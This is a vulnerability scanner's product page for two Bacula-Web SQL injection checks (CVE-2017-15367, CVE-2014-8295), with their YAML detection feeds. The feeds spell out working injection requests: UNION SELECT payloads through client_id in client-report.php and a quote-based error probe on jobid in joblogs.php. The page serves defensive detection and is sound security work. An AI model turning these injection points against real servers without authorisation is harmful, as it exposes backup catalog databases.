Bacula-Web — 2 vulnerability checks

noctis ships 2 vulnerability checks for Bacula-Web, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Bacula-Web client-report.php client_id SQL Injection

CVECVE-2017-15367
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/bacula-web/CVE-2017-15367.yaml

Bacula-Web before 8.0.0-rc2 puts the client_id parameter of client-report.php unquoted into the SQL query that reads the client details, and these versions ask for no login: anyone who reaches the web interface can read the whole Bacula catalog database and, depending on the database configuration, go further on the server.

This check requests client-report.php in the web root and the usual install paths with a client_id that matches no client followed by a UNION SELECT of two multiplications of random numbers, once in the form MySQL, MariaDB and SQLite accept and once in the form PostgreSQL accepts. The vulnerability is confirmed when the client details on the page show one of the products computed by the database, which never appear in the request. No catalog row is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/client-report.php?period=7&client_id=-1%20UNION%20ALL%20SELECT%20{{sc.a}}*{{s…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/client-report.php?period=7&client_id=-1%20UNION%20ALL%20SELECT%20CAST({{sc.a}…
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for ^(num|txt):/ → finding QoD 97: Bacula-Web client-report.php client_id SQL Injection (CVE-2017-15367)

References:

Feed source — tests/vulnerabilities/bacula-web/CVE-2017-15367.yaml
# Bacula-Web < 8.0.0-rc2 — client-report.php client_id SQL injection — CVE-2017-15367
#
# Bacula-Web 5.x-7.x client-report.php passes the client_id request parameter, unchecked,
# to Clients_Model::getClientInfos(), which builds (same in every tag v5.2.13 - v7.4.0):
#     SELECT name, uname FROM Client WHERE clientid = $client_id
# and the page shows the last row it returns as
#     <dt>Client name</dt> <dd>{$client_name}</dd>             (7.0.2 - 7.4.0)
#     <td>Client name:</td> <td class="strong">{$client_name}</td>   (5.x, 6.x; 7.0.0/7.0.1
#                                                                without the class)
#   and the same for client_version (first word of uname).
# Nothing follows the WHERE clause, so a UNION needs no comment. Later queries of the
# page that break on the injected value only print an error table: the page is still
# rendered (CErrorHandler::displayError() does not exit). CHttpRequest only strip_tags()
# the value. No login exists before 8.0.0-rc2. The fix (commit 2349d14c, in 8.0.0-rc1)
# rejects a client_id that is not an integer ("Critical: provided parameter (client_id)
# is not valid"); 8.0.0-rc2 fixed the remaining jobs page filters.
#
# Detection (read-only), per candidate install dir (web root and the usual paths):
#   1. client_id=-1 UNION ALL SELECT a*b,c*d               (MySQL/MariaDB, SQLite)
#   2. client_id=-1 UNION ALL SELECT CAST(a*b AS TEXT),CAST(c*d AS TEXT)
#                                                           (PostgreSQL: the integer
#      UNION of 1. fails there because name is a varchar; SQLite accepts both)
#   a, b, c, d random numbers in 10000-46000 (products fit PostgreSQL's int4). Reported (QoD 97) when the page shows
#   a*b or c*d alone in a <dd> or <td> cell: products the database computed, never in
#   the request.
#   clientid -1 matches no real client, so no catalog row is read; nothing is written.
#
# Better than the source NASL:
#   - the NASL reports any "</dt> <dd>" text after a MySQL-only @@version UNION — any
#     page with a definition list matches, and PostgreSQL / SQLite catalogs (the common
#     Bacula setups) are never detected. Here: database-computed products, one form per
#     database family;
#   - the usual install paths are probed as well as the web root.
#
# CVSS: NVD v3.0 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
#
# Source: OpenVAS/Greenbone NVT 2018/bacula/gb_bacula_web_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.140946, GPL-2.0-only).
uid: b2af782f-91e9-4ae4-9686-ce31c50d170c
name: "Bacula-Web client-report.php client_id SQL Injection (CVE-2017-15367)"
description: |
  Bacula-Web before 8.0.0-rc2 puts the client_id parameter of client-report.php unquoted
  into the SQL query that reads the client details, and these versions ask for no login:
  anyone who reaches the web interface can read the whole Bacula catalog database and,
  depending on the database configuration, go further on the server.

  This check requests client-report.php in the web root and the usual install paths with
  a client_id that matches no client followed by a UNION SELECT of two multiplications of
  random numbers, once in the form MySQL, MariaDB and SQLite accept and once in the form
  PostgreSQL accepts. The vulnerability is confirmed when the client details on the page
  show one of the products computed by the database, which never appear in the request.
  No catalog row is read and nothing is written.
cves: [CVE-2017-15367]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.30
tags: [bacula-web, bacula, sqli, union-based, php, backup]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-15367"
  - "https://github.com/bacula-web/bacula-web/commit/2349d14c91d5391d5e6d0618c94dc51c54fe3ff6"
  - "https://www.bacula-web.org/"
  # OpenVAS/Greenbone NASL 2018/bacula/gb_bacula_web_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands and the expected products ──────────────────────────────
  - id: gen-proof
    action: script
    code: |
      // Products stay below 2^31: PostgreSQL multiplies integer literals as int4
      // and fails with "integer out of range" above it.
      let a = rand_int(10000, 46000);
      let b = rand_int(10000, 46000);
      let c = rand_int(10000, 46000);
      let d = rand_int(10000, 46000);
      #{ a: a, b: b, c: c, d: d,
         p1: "" + (a * b),
         p2: "" + (c * d) }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Per candidate install path (loop group) ────────────────────────────────
  - id: init-num
    action: set_var
    var_name: num
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/bacula-web", "/bacula"]

  - id: init-txt
    action: set_var
    var_name: txt
    var_value: {status: 0, body: ""}

  # MySQL / MariaDB / SQLite form.
  - id: probe-num
    action: http_request
    method: GET
    path: "{{dir}}/client-report.php?period=7&client_id=-1%20UNION%20ALL%20SELECT%20{{sc.a}}*{{sc.b}},{{sc.c}}*{{sc.d}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: num

  - id: check-num
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(num.body) == "string" { num.body } else { "" };
      if egrep("<(dd|td)[^>]*>\\s*(" + sc.p1 + "|" + sc.p2 + ")\\s*</(dd|td)>", body) != "" {
        "num:" + (if dir == "" { "/" } else { dir })
      } else { "" }
    store_as: hit

  # PostgreSQL form (name is a varchar there, an integer UNION column is refused).
  - id: probe-txt
    action: http_request
    method: GET
    path: "{{dir}}/client-report.php?period=7&client_id=-1%20UNION%20ALL%20SELECT%20CAST({{sc.a}}*{{sc.b}}%20AS%20TEXT),CAST({{sc.c}}*{{sc.d}}%20AS%20TEXT)"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit == "" && num.status != 0 && num.status != 404'
    store_as: txt

  - id: check-txt
    action: script
    condition: 'hit == "" && num.status != 0 && num.status != 404'
    code: |
      let body = if type_of(txt.body) == "string" { txt.body } else { "" };
      if egrep("<(dd|td)[^>]*>\\s*(" + sc.p1 + "|" + sc.p2 + ")\\s*</(dd|td)>", body) != "" {
        "txt:" + (if dir == "" { "/" } else { dir })
      } else { "" }
    store_as: hit

  # ── Finding ────────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit
    pattern: "^(num|txt):/"
    on_match:
      finding:
        title: "Bacula-Web client-report.php client_id SQL Injection (CVE-2017-15367)"
        description: "A request to client-report.php with a client_id carrying a UNION SELECT of multiplications of random numbers returned the client details filled with a product computed by the database: client_id reaches the SQL query unquoted, so anyone who reaches Bacula-Web can read the whole Bacula catalog database."
        remediation: "Upgrade Bacula-Web to 8.0.0-rc2 or later, and restrict access to the web interface to the backup administrators."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{hit}} client-report.php?client_id=-1 UNION ALL SELECT of {{sc.a}}*{{sc.b}} and {{sc.c}}*{{sc.d}} returned a database-computed product ({{sc.p1}} / {{sc.p2}}) in the client details"
      stop: true

Bacula-Web 'jobid' Parameter SQL Injection

CVECVE-2014-8295
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/bacula-web/CVE-2014-8295.yaml

Bacula-Web is prone to a SQL injection vulnerability in the 'jobid' parameter of joblogs.php. A crafted request injects a single quote and a marker string; a vulnerable backend returns a SQL syntax error that echoes the injected marker, confirming the flaw.

How noctis detects it

  1. HTTP(S) request GET /joblogs.php?jobid='SQL-Injection-Test
  2. Checks resp.body for You have an error in your SQL syntax.*SQL-Injection-Test → finding QoD 75: SQL injection confirmed via joblogs.php jobid parameter: …

References:

Feed source — tests/vulnerabilities/bacula-web/CVE-2014-8295.yaml
# Bacula-Web 'jobid' Parameter SQL Injection — CVE-2014-8295
#
# Bacula-Web (a PHP web interface for the Bacula backup system) fails to
# sanitise the 'jobid' GET parameter of joblogs.php before using it in a
# SQL query. An attacker can inject arbitrary SQL. The active check sends a
# single quote plus a recognisable marker and confirms the injection when the
# backend echoes a SQL syntax error that includes the injected marker.
#
# Detection (safe):
#   GET /joblogs.php?jobid='SQL-Injection-Test
#   Vulnerable response contains: "You have an error in your SQL syntax" ... "SQL-Injection-Test"
#   Patched response does not → zero findings. QoD 75 (response content analysis).
#
# Ported from OpenVAS/Greenbone NASL 2014/gb_bacula_web_jobid_sql_inj_vuln.nasl (GPL-2.0-only).
uid: 5b7be70c-7039-469a-8dc2-f2ff1f6c31d1
name: "Bacula-Web 'jobid' Parameter SQL Injection (CVE-2014-8295)"
description: |
  Bacula-Web is prone to a SQL injection vulnerability in the 'jobid'
  parameter of joblogs.php. A crafted request injects a single quote and a
  marker string; a vulnerable backend returns a SQL syntax error that echoes
  the injected marker, confirming the flaw.
cves: [CVE-2014-8295]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [bacula-web, bacula, sqli, php, backup]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-8295"
  - "OpenVAS/Greenbone NASL 2014/gb_bacula_web_jobid_sql_inj_vuln.nasl (GPL-2.0-only)"
steps:
  - id: sqli-probe
    action: http_request
    method: GET
    path: "/joblogs.php?jobid='SQL-Injection-Test"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: resp

  - id: match-sql-error
    action: match
    source: resp.body
    pattern: "You have an error in your SQL syntax.*SQL-Injection-Test"
    condition: "resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "SQL injection confirmed via joblogs.php jobid parameter: {{resp.body}}"
      stop: true

View these feeds on GitHub